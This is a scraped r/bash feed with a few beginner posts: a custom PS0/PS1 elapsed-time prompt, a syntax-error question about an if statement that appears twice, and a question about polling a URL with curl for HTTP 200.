alias PS0='saveps0() { [[ -z "${1}" ]] && (echo "PS0 ${PS0@Q}";) || PS0="${1}"; echo "PS0 ${1@Q}" >> ~/ps.txt ; }; saveps0'
So I could edit with
_PS1 'whatever' or just _PS1 for fast checking and get things stored into _ps.txtNow, I wanted a basic elapsed time in PS1 from PS0 made by myself, and after some quite breaking shells I found this is working quite well:
PS0='${PS1:(PStime=$(printtime)):0}'
PS1='$(elapsed $PStime)${PS1:(PStime=0):0}\u@\h:\w\$ '
Functions:
printtime ()
{
local var=${EPOCHREALTIME/,/};
echo ${var%???}
}
elapsed ()
{
[ -v "${1}" ] || ( local VAR=$(printtime);
local ELAPSED=$(( ${VAR} - ${1} ));
echo "${ELAPTXT}$(formatms ${ELAPSED})"$'\e[0m' )
}
formatms ()
{
local n=$((${1})) && case ${n} in
? | ?? | ???)
echo $n"ms"
;;
????)
echo ${n:0:1}${n:0,-3}"ms"
;;
?????)
echo ${n:0:2}","${n:0,-3}"s"
;;
??????)
printf $((${n:0:3}/60))m+$((${n:0:3}%60)),${n:0,-3}"s"
;;
???????)
printf $((${n:0:4}/60))m$((${n:0:4}%60))s${n:0,-3}"ms"
;;
*)
printf "too much!"
;;
esac
}
ELAPTXT=$'\E1;33m \uf135 '
​
[testing
Please criticize, optimize or comment any bad approach here.
I'm new to bash but found it very enjoyable.
https://redd.it/xgirh0
@r_bash
What am I doing wrong with my if statement?
##START FUNCTION
function maintenabledisable() {
if $MAINT_CONFIG_ENABLED -gt "0" ; then
if "$ARGV" = "enable_maint" ; then
echo "enabling maintenance";
else
echo "disabling maintenance";
fi
else
echo "Maintenance config disabled. Nothing to do.";
fi
}#end maintenabledisable
##END FUNCTION
I keep getting "syntax error: unexpected end of file". Through trouble shooting I have narrowed it down to this section.
​
edit: solution found thanks to @**o11c** I was missing a space at my end-of-line note between the } and #
https://redd.it/x10eu8
@r_bash
##START FUNCTION
function maintenabledisable() {
if $MAINT_CONFIG_ENABLED -gt "0" ; then
if "$ARGV" = "enable_maint" ; then
echo "enabling maintenance";
else
echo "disabling maintenance";
fi
else
echo "Maintenance config disabled. Nothing to do.";
fi
}#end maintenabledisable
##END FUNCTION
I keep getting "syntax error: unexpected end of file". Through trouble shooting I have narrowed it down to this section.
​
edit: solution found thanks to @**o11c** I was missing a space at my end-of-line note between the } and #
https://redd.it/x10eu8
@r_bash
Reddit
overview for o11c
The u/o11c community on Reddit. Reddit gives you the best of the internet in one place.
how do we curl an http link every 5 seconds and check if it's returning a 200
https://redd.it/x1da5m
@r_bash
https://redd.it/x1da5m
@r_bash
reddit
how do we curl an http link every 5 seconds and check if it's...
Posted in r/bash by u/Beginning_Jelly_3734 • 0 points and 15 comments